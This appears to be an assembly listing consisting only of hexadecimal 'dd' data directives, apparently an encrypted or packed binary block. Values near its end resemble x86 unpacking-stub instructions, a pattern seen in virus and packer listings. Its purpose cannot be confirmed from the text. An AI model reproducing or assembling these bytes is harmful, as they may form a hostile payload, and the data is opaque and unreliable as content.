		dd 2C4BB352h, 4F5A1841h
		dd 2C9F67DEh, 4F0F1841h, 76616FFEh, 0B1443215h,	0D7CE30E7h
		dd 0EA196DFFh, 33CB31CDh, 0EDDC7D31h, 9C01C390h, 0E61E5212h
		dd 66883217h, 0AACE5375h, 9FB7B974h, 8F16C836h,	66883205h
		dd 0DF485B97h, 803FE950h, 21EB2DA1h, 9E257776h,	4DE58F96h
		dd 692335EFh, 66136891h, 668EDB15h, 0A37B3215h,	0FAC589E6h
		dd 0E41EEA2Eh, 66883254h, 0EC2452E9h, 43E1B3D0h, 708A63Bh
		dd 700C395h, 0E04BE12Ch, 99DDCADEh, 661121FCh, 74303315h
		dd 4FA74F16h, 1C67EC5Eh, 0E9E5773h, 0BF95C676h,	65CA3D75h
		dd 0E6223215h, 0EB1E19CEh, 66883215h, 67FF6174h, 4F223215h
		dd 347169CBh, 0D3D59Fh,	3525FD9Eh, 0D373D8A2h, 3FF9BAF0h
		dd 6D3CA25h, 0D94B28A4h, 698853EDh, 66113D9Ch, 6682DB15h
		dd 8B523215h, 0E155EBF6h, 6EC7C26Ah, 0EF8CDE96h, 66FF1609h
		dd 67223215h, 3D1AB8E6h, 183E60ECh, 90B3FC95h, 19E4B2CBh
		dd 729AC29Dh, 624CB331h, 6443215h, 0FBE7EA94h, 0AD910F26h
		dd 38E0534Ch, 0EF443268h, 69961611h, 6949D335h,	66883E93h
		dd 6643DB15h, 0B5563215h, 0FEEB449Ah, 69403ACCh, 66443394h
		dd 6988C715h, 66112491h, 323F5215h, 66443FFCh, 0D13E6A15h
		dd 0D637F6CDh, 59B56419h, 3325C064h, 307A43A8h,	82E4B371h
		dd 4FB0B921h, 9D6D6FFEh, 0AB7F194h, 0EC1E6EC8h,	66883212h
		dd 6645BD1Ah, 9EDA3215h, 6615DE94h, 52013215h, 66408C31h
		dd 950B3215h, 8B91524Bh, 6698DB51h, 0B3013215h,	4B936B72h
		dd 0CFEA8C6Fh, 3FB3DE39h, 0E5256038h, 62AB36F9h, 3D496131h
		dd 66883CFCh, 1DECD415h, 0D71976A8h, 5799E30Ah,	0CD9659E8h
		dd 6640B51Ah, 0ED423215h, 0DF4053EBh, 66883217h, 6ACFFC14h
		dd 62E6B131h, 6619BA1Ah, 0E2873215h, 66443217h,	0D3AB5375h
		dd 61EB1238h, 0C70DF5EDh, 6743C83Eh, 9A223215h,	0E7F6BB42h
		dd 668836D2h, 6283B115h, 4256CD42h, 629E6D11h, 0E1876E31h
		dd 6644321Fh, 8CA35475h, 0BE91228Eh, 0ED7453D2h, 0EF131609h
		dd 62E5B3F2h, 0E7113215h, 668836D2h, 4278B515h,	6AA9CB49h
		dd 81986531h, 668CF594h, 0A1C53215h, 66223211h,	3A350E92h
		dd 6684B31Ah, 0EF4B3215h, 66223213h, 6611B41Ah,	32DE3215h
		dd 6282B34Bh, 0E5223215h, 529636D3h, 6F616E31h,	22443215h
		dd 5478D7E5h, 0E530DD64h, 0E76FBB42h, 664436D2h, 62E5B115h
		dd 0ED350E92h, 30E81631h, 497382ACh, 0E6426948h, 0E777DEFEh
		dd 73AF3DDh, 0BDA6DB74h, 33DBCDEAh, 99EECDA8h, 3B6633EAh
		dd 9FF33D75h, 6624BF1Ah, 0BE903215h, 44583A07h,	0AAF26074h
		dd 47262FA5h, 473DC215h, 68093D4Fh, 8F443215h, 6622321Ch
		dd 951D9E4h, 0DEA8981Ch, 31B8983Eh, 0EFD1BB46h,	9E9869CAh
		dd 669BDB4Ah, 0ABB53215h, 137E7CADh, 0F9E25B46h, 796FB665h
		dd 9EF5F8E2h, 489D65A8h, 0E7306511h, 0EE3D2EFAh, 39BC1BCEh
		dd 7427CA3Ch, 654FC5Ah,	668DB91Ah, 3CFE3215h, 35397495h
		dd 74F5375h, 668C8F40h,	8C693215h, 4F22865Fh, 2CFB37FDh
		dd 69D532A1h, 66442A94h, 74A93D15h, 8F113215h, 66883218h
		dd 7AAF7FB8h, 95801B0Dh, 2ABD7ABBh, 6B619920h, 43443215h
		dd 77BAB0CDh, 112F2D4Dh, 15119CC7h, 6620B37Dh, 420EBB15h
		dd 0A390D79Ch, 66883211h, 0E140F796h, 67E1639h,	0CA8F894h
		dd 0E7EE278Bh, 7416BD6h, 34062E9Eh, 0A490D09Ch,	66883211h
		dd 0E140F096h, 8F7E1601h, 66113204h, 4DF3BCEDh,	238E2192h
		dd 210E38BBh, 0FCD807A0h, 4284B933h, 0E7A1BB40h, 662236D0h
		dd 62D4B315h, 0E1883215h, 93181639h, 380606EAh,	8F15F696h
		dd 6688321Ch, 0C55CF4AFh, 0B44D7168h, 3B4567A3h, 668CF794h
		dd 0A3C73215h, 420EB511h, 0E7775249h, 8FED0FCEh, 66443205h
		dd 0E25BA7CBh, 96A1C84Bh, 6FC724h, 361CBE9Dh, 0BB4EDB74h
		dd 0A1E8CDEAh, 654C7490h, 6644371Dh, 3574CA15h,	8559F2AEh
		dd 42D43363h, 0E71F6911h, 856AF2FEh, 67993D63h,	9E883215h
		dd 66408F40h, 0A5A33215h, 1E727AADh, 8D09D914h,	1E277AADh
		dd 0EA2D5248h, 66113210h, 2B7BB373h, 3425CBFBh,	6622327Dh
		dd 94106815h, 69D22816h, 66443391h, 6942C715h, 66113699h
		dd 3D325415h, 0B9FB3DA4h, 97A7B974h, 8F16C836h,	6688321Fh
		dd 0D6086B7Dh, 9BAD27h,	0F39AA2AFh, 617211ECh, 6641DA75h
		dd 87963215h, 106C18h, 7D7C59Eh, 99BB8B44h, 0A823CDEAh
		dd 0D877524Ch, 6E8BB39h, 725C774h, 74B38F96h, 691035EFh
		dd 668E0A91h, 6ECA3D15h, 69223215h, 6611309Fh, 5DE95215h
		dd 46C63DCDh, 6223215h,	0BC2A53E0h, 6707B41Ah, 76AD3215h
		dd 97223215h, 1795F845h, 9D41061Ch, 0F54FF187h,	0EF987A49h
		dd 9C311FA0h, 750A3D12h, 8F443215h, 6622321Bh, 12ED9389h
		dd 5CFB76A0h, 2AFC738h,	0EDDE7A78h, 65D57488h, 6682DB1Dh
		dd 8ECB3215h, 755E5527h, 0DB7817Ch, 6AAC5E94h, 44F94F4Ah
		dd 6A065E94h, 2C73415h,	6AAC6E14h, 6A607694h, 2F43415h
		dd 6A357694h, 44354F4Ah, 6652B11Ah, 77CB3215h, 0C8113215h
		dd 2BB0B666h, 9C18375Dh, 0F0A219F3h, 97C1C765h,	668DBAFCh
		dd 664EDB15h, 0EE8F3215h, 7711B708h, 0B9587105h, 35FC5475h
		dd 39DB623Bh, 4225CD74h, 624CB14Ah, 66443DFCh, 0CC0215h
		dd 5705AC04h, 910D38C4h, 12F03725h, 74B3B7D2h, 661035EFh
		dd 77613215h, 87443215h, 95CB1300h, 0E5D5110Ah,	1CEA6CE9h
		dd 721B14E8h, 35062E9Eh, 0A590D19Ch, 66883211h,	0E140F196h
		dd 67E1609h, 661126FCh,	7973315h, 69C9D321h, 5D5DCAC6h
		dd 0C2684777h, 0F15375F7h, 78CB948h, 3F0606EAh,	6615F694h
		dd 74613215h, 25443215h, 8B31728Ah, 0BE15072Bh,	0BA858D5Eh
		dd 0A51152B9h, 4216B921h, 0E7F7BB43h, 668836D3h, 6282B315h
		dd 0E1223215h, 8F4D1621h, 66883219h, 0CBD15881h, 6793575Dh
		dd 7C50CBECh, 0E76ABB47h, 664436D7h, 62E0B115h,	57352626h
		dd 72BB1601h, 72AD6E31h, 0A6223215h, 1D1AF980h,	76CDDEE3h
		dd 6D220A82h, 0D98B1E01h, 8FFB8C4Eh, 9977EA1Dh,	0C7F9B1ECh
		dd 6725C83Eh, 626AB61Ah, 6E83215h, 66C93DE9h, 7223215h
		dd 7D7851Ah, 4579AF3Eh,	0E54B35EFh, 66223214h, 39CB9EDh
		dd 9A8FC808h, 131A8C43h, 80E37663h, 64FFF312h, 0E75EC55Bh
		dd 1415D2E3h, 38D33398h, 8F90EB14h, 1ACB37B5h, 0B585B3EDh
		dd 0E7336974h, 0DD497FD4h, 0E7711B08h, 0DD1C7FFCh, 0B5CBB308h
		dd 69006974h, 66882A96h, 6657DB15h, 0CBBA3215h,	0BCC6B198h
		dd 0AABB56Eh, 4D01FB63h, 0AA0960Ch, 62FDB372h, 0EF883215h
		dd 63FF1609h, 4F223215h, 697169CCh, 66883399h, 0D822CA15h
		dd 0E4314E0h, 66117A0Fh, 0D1AC2E9Ch, 0EDABB261h, 6979CA9Dh
		dd 66113596h, 670D3D15h, 9A443215h, 4FAF8875h, 0E61E1F8Ah
		dd 66883211h, 0D1168B73h, 0EC429874h, 0AE2053DDh, 0AEB9F324h
		dd 2AFD5475h, 0A3BA8CDCh, 0CD7019EAh, 810165E0h, 6640F594h
		dd 0DE723215h, 66113211h, 0E1D0F514h, 9F181629h, 36062E9Eh
		dd 6214D29Ch, 0E5883215h, 62C336D5h, 6FCB6E31h,	1C113215h
		dd 799B383Ah, 0A3CBCA16h, 3F0606EAh, 6915F696h,	6688369Bh
		dd 0A5CF5215h, 4216B974h, 0E7F3BB47h, 668836D7h, 6286B115h
		dd 3A062692h, 661122FCh, 0EA22FF15h, 528819D7h,	6F1FA2B7h
		dd 0B6155F7Dh, 668DDB43h, 567D3215h, 36431662h,	62146A41h
		dd 0E5883215h, 62C336D5h
		dd 8FDB6E31h, 99EEEB9Fh, 668822FCh, 0D5E4FB15h,	693DDDDAh
		dd 5019ABC0h, 0E5A5380h, 0ED2252D9h, 0E3E553D3h, 6E12F653h
		dd 66883217h, 0E7BAB975h, 0D3C50BDBh, 8A925355h, 42BCBB11h
		dd 1F601E94h, 3D109F2Ch, 5F68F194h, 6F6100B8h, 0A7443215h
		dd 5218ADDh, 72E22274h,	6986841Ah, 6644399Ch, 6624DB15h
		dd 72F93215h, 71E7DC3Eh, 69C4CB95h, 66225896h, 6A943D15h
		dd 69883215h, 66443492h, 66A13D15h, 0E7113215h,	1D90F6D6h
		dd 338F3364h, 1D3AF6A8h, 3BFA1B64h, 6685BF1Ah, 6EAD3215h
		dd 28223215h, 2FF41B80h, 30AF280Ch, 99BBCDABh, 38D11BEAh
		dd 661126FCh, 603D5C15h, 0E781779Eh, 4CC6EAC2h,	890F4AFBh
		dd 0FD33F521h, 0ED155206h, 8F4369E5h, 6611326Dh, 6689BD1Ah
		dd 0E5B83215h, 62AB36F9h, 4EEE8231h, 69E86AD4h,	9125C5AAh
		dd 62DD63C4h, 0EED6B31h, 66882C67h, 0DC60269Ch,	1F5A26B2h
		dd 7249C094h, 0B7A94B6Dh, 6ECA3D4Fh, 6223215h, 0DC776D42h
		dd 69E94037h, 6644379Ah, 0B9A25215h, 0A59053B4h, 4EF24141h
		dd 3D7AD994h, 0AD0B5E95h, 3D2FF194h, 8D095E95h,	4E3E4141h
		dd 6628B61Ah, 63F83215h, 9B883215h, 9B380BF1h, 45D3B79Eh
		dd 6BF835EFh, 98883215h, 67C6D195h, 0F0DF98B1h,	78E2A0DEh
		dd 9F1DB9E9h, 8F43C836h, 66223206h, 0B2F47051h,	0EAF590CEh
		dd 0B5DE36AAh, 974E4640h, 8F1F15E6h, 9977C925h,	6650B21Ah
		dd 69CB3215h, 50113215h, 6C68692h, 76AD9F2h, 34A3F460h
		dd 0E3D6638Fh, 6E8BF653h, 66443217h, 7AA964E0h,	62D5B131h
		dd 9D03CA75h, 68F23D74h, 6629B51Ah, 60F83215h, 23883215h
		dd 260E70A6h, 0E6DBB2C1h, 662DB11Ah, 0E7743215h, 7244B5FEh
		dd 0FBC9B344h, 67784E79h, 0FB4BB3DEh, 0E72D4E79h, 7222B5D6h
		dd 6617DB44h, 1DF03215h, 192404F8h, 66238B44h, 0AD103215h
		dd 1761CA4Ch, 69443215h, 66223392h, 41CE15h, 0EE398344h
		dd 0A61D54DDh, 8EE234FDh, 4EEE0613h, 0E706AD4h,	66443215h
		dd 0ED063E3Ch, 0A2901619h, 66883211h, 0D91367ECh, 662232EAh
		dd 474ECF9Ch, 76616FFCh, 8D443215h, 0B80F1FB7h,	42B871E2h
		dd 0DC6D2276h, 0E7A73D08h, 626C3DFEh, 62FAB319h, 4FD21F2Eh
		dd 6287B3DEh, 0E7781F2Eh, 625F3DD6h, 67023D19h,	93443215h
		dd 45D3B79Eh, 0EDE935EFh, 9CABCB80h, 6643DB12h,	738B3215h
		dd 0B58693CCh, 0C735B155h, 6743C83Eh, 9E2FB61Ah, 6971CDEAh
		dd 6688219Dh, 6649DA15h, 14713215h, 38C2322h, 0BED83DE1h
		dd 3EC92352h, 8F43C19Eh, 66113205h, 0FB166A4Fh,	0DBA63809h
		dd 9B79E670h, 0A0305A08h, 0E487EA2Eh, 6644320Bh, 6624BE1Ah
		dd 713215h, 7C567AFh, 0E04BE12Ch, 99DDDC4Eh, 97905475h
		dd 0D987DD43h, 0DD1753C3h, 66223214h, 694AEC3Ch, 66883A9Ch
		dd 0DE225215h, 0B1A911F1h, 95986174h, 8FD36B46h, 66443213h
		dd 6A7F8436h, 8F9097D8h, 33E04CC0h, 240ADB94h, 9F0B132Eh
		dd 245FF394h, 0A709132Eh, 332C4CC0h, 10EBB375h,	238748h
		dd 69E9CC9Eh, 66442A9Fh, 6631DB15h, 33983215h, 0C26455B7h
		dd 0BBD90BE2h, 0A32632E7h, 0D32B99FFh, 6264B1BFh, 0DB601E9Ch
		dd 66223210h, 8F4CDB3Ch, 6688321Eh, 96BF7A6h, 7DF1B29Bh
		dd 0D67D8C90h, 354F3EF3h, 8DC409A6h, 3DFA0238h,	7AF52ECh
		dd 7F05845h, 0AE75CEBFh, 0AE13F324h, 660FB51Ah,	0E4873215h
		dd 6644320Dh, 662221FCh, 6424B615h, 6BC3E450h, 616FC925h
		dd 5CA9BF30h, 98F6CF80h, 0E88752BEh, 66443213h,	6622B21Ah
		dd 0D11E3215h, 0D56153C6h, 69BBCDC0h, 66223A9Ah, 64963D15h
		dd 6883215h, 0DE146374h, 66223215h, 6749F39Ch, 3F89B8E4h
		dd 6645BB1Ah, 5ADA3215h, 0E6953DFDh, 8F883215h,	6644321Ah
		dd 0E7AB4030h, 6FACECA6h, 0D8330EFDh, 666B0DFh,	74CBF3A7h
		dd 0CC113215h, 0A7F91EA9h, 0BCED9366h, 66259288h, 932BD916h
		dd 36DA5307h, 470CDB7Dh, 86F36A76h, 27990C38h, 3E4ABB73h
		dd 674DA6ADh, 3CF21B75h, 66113AFCh, 53FA8B15h, 6C026F35h
		dd 67F4DB61h, 69713215h, 66883490h, 66C83D15h, 0DC223215h
		dd 4B5C5B12h, 0E6E85274h, 0D14B80C0h, 697253D6h, 66113298h
		dd 35E96915h, 0A5C5D19Ch, 66223211h, 0E115D996h, 0EFD41609h
		dd 0E34B1609h, 6622320Bh, 6605DB75h, 0F4F93215h, 0B3F15524h
		dd 5EB19582h, 33328C67h, 3ED59891h, 0ED22DA0Eh,	30DA53EFh
		dd 7E353694h, 0EDA8401Ch, 0A2C51609h, 66223211h, 6F09D994h
		dd 77611267h, 76443215h, 0F214CB61h, 0C3D8A4AEh, 0CBA85714h
		dd 0CE7EB670h, 0B1996144h, 0E767745Bh, 0EAD9A9F6h, 8DC57127h
		dd 54267286h, 674AEB9Ch, 3F9131E4h, 664422FCh, 2C188C15h
		dd 33E4BDBDh, 8B681913h, 0B916B628h, 3D1A5A6Bh,	5A983215h
		dd 668D8D31h, 9D453215h, 0D373CA4Ah, 889960FDh,	3FD2C29Dh
		dd 6652B61Ah, 77CB3215h, 80113215h, 2DFC9810h, 7565EDAEh
		dd 3F9A7CE9h, 0CBFD7A9h, 0D852BFh, 0DF1BFA9Eh, 47E2F9ADh
		dd 0DE41CB74h, 125D29B9h, 4F1CF13Ch, 0CAE1B3EEh, 9A65E70Eh
		dd 0D2336147h, 914A4236h, 7CE1B3C6h, 0E70F0E53h, 5FAC49DEh
		dd 1DB7B309h, 0EF3DCF33h, 0B53869CFh, 6680DB4Fh, 6B7E3215h
		dd 771EACBCh, 57E9CE81h, 574B03CDh, 67CF3DCDh, 9A223215h
		dd 0FCA152BEh, 668835FDh, 0E2EC7B15h, 0AA6642CAh, 99E8534Fh
		dd 0E7D31621h, 664436D1h, 76A93D15h, 8F113215h,	6688321Eh
		dd 0CE249B42h, 62C1B0F0h, 3186D46Bh, 668837AAh,	0EDBA3315h
		dd 0A2A11629h, 679D3D11h, 93883215h, 6642B61Ah,	6423215h
		dd 74A6474h, 14AB8D42h,	898531ADh, 83D5B312h, 0EF113565h
		dd 42B4B9EDh, 6940F696h, 66223392h, 8F71CB15h, 6688321Eh
		dd 0D01CF0E6h, 0DA5174E1h, 0FE41D2h, 751D9AFh, 0ED2252D6h
		dd 0EF7053E6h, 62D3B3F7h, 0E7883215h, 664436FFh, 4236B515h
		dd 421DBB49h, 507754E0h, 4240B973h, 8F20F696h, 66113207h
		dd 9D1FAB1Fh, 0FA9A645h, 0E6E2A690h, 0B4C74800h, 0A5B44322h
		dd 6771B61Ah, 423215h, 0BDAAAFh, 0B80DC394h, 698F0E74h
		dd 66231091h, 0E51ECB15h, 6688321Fh, 664437FCh,	59657415h
		dd 0A42D630Eh, 67D3B61Ah, 68AD3215h, 64223215h,	1D854494h
		dd 33900A9Ch, 3DA4FB3Eh, 69E80E2Ch, 66107291h, 6681DB15h
		dd 3EE83215h, 0AB281BE5h, 75ED6h, 69ADCD28h, 66454291h
		dd 0D3D75215h, 5B7753B2h, 0E387CD3Bh, 66443270h, 66223FFCh
		dd 0CDA99215h, 0DC0450E5h, 3375624Bh, 0DD71990Fh, 66113217h
		dd 0DFD9C114h, 66443215h, 67A8EB14h, 35E9694Ch,	0D3D92CA2h
		dd 90A1E2DFh, 0E6FFC4C0h, 893989E0h, 3D70124Ch,	6650BE1Ah
		dd 69CB3215h, 0AB113215h, 7E16DF66h, 941DA41Eh,	88617451h
		dd 0C62D58A2h, 67CEB61Ah, 0EF4B3215h, 66223214h, 4225CDE9h
		dd 624CB34Ch, 69443215h, 6622249Ch, 6600DB15h, 0D2AD3215h
		dd 64F24C41h, 0AB934B1Dh, 0C2029BEDh, 0DE4FE1F9h, 12BC5F1Fh
		dd 0B288F40h, 8E2046EDh, 690A3D48h, 8F443215h, 6622321Fh
		dd 992F65C0h, 6A632FEBh, 10AD7696h, 69223214h, 66113C9Ch
		dd 6681DB15h, 0AD4C3215h, 24B3B249h, 579B3365h,	38DE52DCh
		dd 85418D73h, 0D4986074h, 0E76D693Bh, 0BDF1FDFh, 0A79EC577h
		dd 8CA330FFh, 4671121Ah, 9ED2E314h, 6644EEFCh, 6629DB15h
		dd 47B83215h, 0C3ADDDA0h, 863FBF00h, 74AB3DC8h,	8F113215h
		dd 66883218h, 0F0288F1h
		dd 4F8196BDh, 5BC1C31Eh, 73765DCh, 2105A82Dh, 61CDF35Ah
		dd 0AD82F594h, 9F01CD69h, 0E7600E9Eh, 662236D1h, 6605DB15h
		dd 0E6183215h, 0C0C1E50h, 0B6F6CE14h, 23A244D3h, 3928B768h
		dd 0E84BCEBBh, 66223214h, 6662DBE9h, 0E2873215h, 66443214h
		dd 6BB58BE0h, 0D946746Ah, 2D174306h, 5C6DD94h, 9F0B3735h
		dd 609F3D4Ah, 6883215h,	2DF0C09Eh, 6665DB74h, 61F83215h
		dd 60883215h, 402BC5BFh, 0E12DAC2Ch, 66113219h,	668EB11Ah
		dd 0EB4B3215h, 66223215h, 7CEF5A47h, 720340C8h,	6280B331h
		dd 24223215h, 9490E0E2h, 0EBAAD712h, 691EE39Ch,	66223A99h
		dd 64993D15h, 6883215h,	69E0C174h, 66223391h, 0EB9AC715h
		dd 617211ECh, 66443FFCh, 88692B15h, 270DF05Ah, 320ACE32h
		dd 0AFC1D529h, 6634B71Ah, 6CF83215h, 0C3883215h, 4226EA90h
		dd 96602337h, 9FA4BB26h, 938FC836h, 3F6006EAh, 9A26F696h
		dd 66108C43h, 96013215h, 0E560069Eh, 0D64236D1h, 979A548Dh
		dd 7DF174h, 342204EAh, 6BBA8873h, 42453373h, 0D25417h
		dd 0FE69544Dh, 76A43D18h, 69113215h, 6688389Eh,	6641DB15h
		dd 28BE3215h, 698FA90Dh, 6688219Fh, 664ADB15h, 3FC73215h
		dd 2FEDB632h, 9E58F4D7h, 0C0B81947h, 0E22DF129h, 66113392h
		dd 96086175h, 9E256AADh, 6668F07Dh, 421DBB15h, 8D00F79Dh
		dd 3714CB4Ch, 0BBD480A0h, 0A619D7D5h, 0A37634F0h, 0EEEBF795h
		dd 0A2A26BF9h, 3EF21255h, 64053D75h, 0D1443215h, 694253E5h
		dd 6611369Fh, 0C9365415h, 0A0CF54B9h, 16D9B274h, 65EDB61Ah
		dd 6E83215h, 0F5F369A3h, 5CFCB374h, 74CAAD7h, 69610EECh
		dd 66452C91h, 60CBC715h, 0CA113215h, 9DFCA892h,	69AF0E4Ah
		dd 66233891h, 6603DB15h, 0C3143215h, 578E4533h,	0FA06B69Ah
		dd 29E49BE7h, 169431F6h, 69860EECh, 6622D891h, 6EF85215h
		dd 67883215h, 0E3643FAEh, 2DF00h, 733F7ADh, 0E287F929h
		dd 664432DAh, 6627DBE0h, 4F403215h, 8BC68Ch, 6961CD28h
		dd 66228891h, 661BDB15h, 0AE0D3215h, 0AB617509h, 0B060B531h
		dd 0E21EF829h, 668832B6h, 6649BE1Ah, 69423215h,	6611329Eh
		dd 0A6AA8815h, 5A251597h, 29A63DF6h, 69113216h,	6688339Dh
		dd 5B22CB15h, 0E32DCD3Bh, 66113254h, 643361ECh,	67443215h
		dd 669860E6h, 67113215h, 3C8AB8CFh, 61CB3D4Eh, 69223215h
		dd 66113392h, 8A0BCB15h, 4250BB11h, 9602C2A3h, 0ED77524Fh
		dd 2C63B3DAh, 72E3DECh,	0E22D9229h, 66113222h, 35E061EDh
		dd 0ED587755h, 0A2A11609h, 35E2B311h, 0EF947755h, 0D92469CDh
		dd 2AEDE263h, 66113BFCh, 306C815h, 0C8CDDB72h, 8F431E93h
		dd 661132A3h, 0AD325475h, 0EF25CEB0h, 9C01CBA0h, 661EDB12h
		dd 76843215h, 0F3F77421h, 0D3BDAE9h, 897805CFh,	0CC15BF9Ch
		dd 8F4C3075h, 6622321Ah, 2EF4DC94h, 0A587CFB8h,	559B0FA3h
		dd 99F28E9Bh, 6DF952C6h, 52883215h, 704FAAB9h, 115DD61Eh
		dd 6AF9F148h, 5883215h,	0F7577640h, 1BA075E6h, 3C0A81B9h
		dd 36D9534Fh, 0F5369AADh, 148B8B32h, 0A7381586h, 3F40BB4Dh
		dd 0A82B275h, 662222FDh, 603F4415h, 5325426Bh, 61493224h
		dd 375A032h, 661DDA33h,	247F3215h, 0BBBECF73h, 56D01FECh
		dd 3F4EAEA3h, 6698DB74h, 0E2E03215h, 3CBF560Eh,	90F6B76Fh
		dd 0C81A8EA5h, 8F87284Ch, 66223218h, 7A95F522h,	22E34136h
		dd 84D5124Ch, 83AB6727h, 6615F794h, 8B093215h, 66443211h
		dd 3A061E92h, 635369Ch,	66883EFCh, 9A8B1815h, 47D5CEFFh
		dd 1D0D0E2Eh, 6698DBA4h, 79363215h, 4377B8BDh, 0D1DC8486h
		dd 0C3F47396h, 9925B053h, 62A92263h, 62D5B331h,	93883215h
		dd 6A89B79Ch, 0EDD735EFh, 0EF441611h, 624DB3F0h, 0E5443215h
		dd 4AA536D0h, 6CF86E31h, 4D883215h, 0AF49E8ACh,	0F7604A57h
		dd 0DF406039h, 47B217EFh, 0A39E10AFh, 3FE833CBh, 8F4BE414h
		dd 66883206h, 0F016370Bh, 6405C5C7h, 6A0056DAh,	7A3FF2D4h
		dd 0EBBE0631h, 9C28CBA8h, 0E91ECE12h, 66883206h, 66443CFCh
		dd 457DF915h, 0E5C0DA91h, 0EDA4FC6Eh, 0CBD6D9CEh, 66223EFCh
		dd 76875215h, 79E3CECBh, 0C144793Eh, 53EB1FB7h,	73142BEAh
		dd 65942776h, 4B601651h, 7A375100h, 9924FB10h, 163E520Ch
		dd 66443BFDh, 609E1615h, 0AC7E5979h, 3C74D70Ch,	6249974h
		dd 0C7B28C73h, 797FC95h, 0EBE9E59Eh, 9C510FA8h,	0A9A35212h
		dd 0DE4666Ch, 69E89F74h, 66443792h, 0B5A35415h,	3170868Eh
		dd 0C6B517AAh, 39BC1B1Fh, 42067616h, 0C62C1710h, 6680DB1Fh
		dd 3EDC3215h, 0AC4701D9h, 30ED9812h, 0A009D49Ch, 66443211h
		dd 0E126DC96h, 0EF4D1621h, 63611611h, 0F4443215h, 997056AFh
		dd 7E9B3DBEh, 8F883215h, 66443206h, 2F7D036Fh, 0D9507606h
		dd 0C2E20F76h, 63B5F4F0h, 0EB280A6Eh, 9C3AB7A8h, 6925CA12h
		dd 66443392h, 8C27CE15h, 4B04B90Bh, 7DC17D4Dh, 4E607616h
		dd 2F6D6A10h, 78FB1F0Eh, 6961279Eh, 0DF443215h,	672EE3CEh
		dd 496E7E1Bh, 4E07172Ch, 69EF4D1Dh, 66223A9Ch, 649D3D15h
		dd 6883215h, 6641DB74h,	386A3215h, 0ED3FD203h, 0EFDD1621h
		dd 6281B3F0h, 0E5223215h, 4A9636D0h, 6F616E31h,	9B443215h
		dd 2B4F21D5h, 2BB6133Eh, 0EF87CAD6h, 66443213h,	96A95475h
		dd 797953ECh, 0EF88326Eh, 0EF4B1621h, 66223219h, 661135FCh
		dd 765A0B15h, 4E694D4Fh, 39F8AF98h, 6BF83A17h, 1883215h
		dd 104F0AF7h, 165C343Bh, 662007B8h, 695BCDE0h, 66443A90h
		dd 64A23D15h, 6113215h,	9A33DB74h, 68ADCDEAh, 1B223215h
		dd 0BABAC6F4h, 0A8E86D07h, 6009175Eh, 4ECEDFC8h, 4AA86CD2h
		dd 0A2458AFDh, 0C0D5F251h, 0AA46CDE9h, 2AA8ED96h, 29458A15h
		dd 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh
		dd 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh,	0F2798A15h
		dd 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h
		dd 0D7BA8660h, 1BCE2559h, 0F14D8956h, 6E5C32DCh, 71BA8216h
		dd 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h, 2257EB10h
		dd 0AADF0746h, 0D55CAB15h, 5E0003C6h, 2A5492B8h, 0AE307515h
		dd 0A75CDDAEh, 0A106C78Fh, 0B0D9FB59h, 0AA46CE1Dh, 6FDD7BAEh
		dd 0A25863E9h, 5FABA851h, 0AA307519h, 690D32DCh, 2F168216h
		dd 2910A0CBh, 2B96751Dh, 2ABD5414h, 0C3458A15h,	0E3A8EDDAh
		dd 0BA4582D7h, 3044h, 14E8h, 8A3CC900h,	6F0A0351h, 3DF0ECB3h
		dd 0D0FC1D29h, 5E03859Eh, 5878B5BFh, 98C081F5h,	0F00006Eh
		dd 584h, 2DFB900h, 6BBB0B06h, 8100001Bh, 0D26140EFh, 0E9108B50h
		dd 0Ch,	36D9F028h, 99242FB4h, 0F43D9DD9h, 177DF281h, 8166451Ah
		dd 817CD7EEh, 0ED5BCBEAh, 33C28113h, 6010C489h,	0BE9h
		dd 7601A400h, 0FA17A914h, 55B3860Fh, 0D838F681h, 8961422Ah
		dd 0BE910h, 0A4F0000h, 7B884B33h, 0A8D13F5Dh, 2E8833Ch
		dd 0B9664848h, 0EB810EB5h, 1, 2B850Fh, 8A0F0000h, 0Ch
		dd 6870Fh, 0D7810000h, 2F0E86ABh, 3CE9h, 0FF01BF00h, 3141FE5Bh
		dd 7F89A874h, 3E079E42h, 5539FFAFh, 5E8D2h, 0EDED0000h
		dd 609D7628h, 0C88B66F8h, 56E95E61h, 52FFFFFFh,	5F4903BEh
		dd 36F67511h, 350AE1FBh, 13F7AE28h, 619D8D7Ah, 0B807FA28h
		dd 830023E4h, 0A4F305E9h, 0DB03CB8Bh, 3256BAA2h, 0A654D7BEh
		dd 0F360E226h, 196F5AFBh
		dd 0A64AEC2Ch, 0B9D7D768h, 3AD2E55Dh, 525675B1h, 331A02D7h
		dd 0DA3707E6h, 3256AEB1h, 43BCD6EBh, 0E983A920h, 0B0A4F305h
		dd 0F29D11F1h, 2375FD7Ah, 0D32A17FBh, 0D525F579h, 0ADFDF53Fh
		dd 9F769330h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah
		dd 3C987C27h, 0A07DFE15h, 83182CFFh, 0A4F305E9h, 0BD8DDB8Bh
		dd 803C44Ah, 4A9D8D8Dh,	44B80804h, 2B321566h, 2E9C1CFh
		dd 0C8D00731h, 4904C783h, 0E9F5F675h, 0Eh, 6D2025D0h, 9780F8Ch
		dd 0C59BF55Dh, 89579D87h, 8BF889C7h, 0C481243Ch, 4, 0D1BD83F9h
		dd 7FA16h, 0BD830975h, 7FA3535h, 50197400h, 0B8C08B53h
		dd 411h, 112D8589h, 9D8D07FAh, 7FD4041h, 585BD3FFh, 3535BD83h
		dd 740007FAh, 0B8535017h, 411h,	112D8589h, 9D8D07FAh, 7FD3CE2h
		dd 585BD3FFh, 178C0Fh, 12E90000h, 59000000h, 0B619FD3Fh
		dd 78C72B3Bh, 63606A91h, 0D570B66Ch, 0D38B6064h, 0DE5853BEh
		dd 880F6152h, 0Dh, 8E9h, 9AADFF00h, 400BD282h, 0C58955CFh
		dd 24348155h, 18DD7447h, 74473558h, 0F5D18DDh, 18Fh, 0E8F8FC00h
		dd 0Bh,	2BBB374Ch, 7CBB0A47h, 0E9F65667h, 10h, 0DC2D2B69h
		dd 0B35497CCh, 49AFF823h, 0F963DB43h, 81D38A58h, 75B2C0h
		dd 6D44B900h, 0BB2595h,	0E9000000h, 0Eh, 0B51F7500h, 7ED3B57Dh
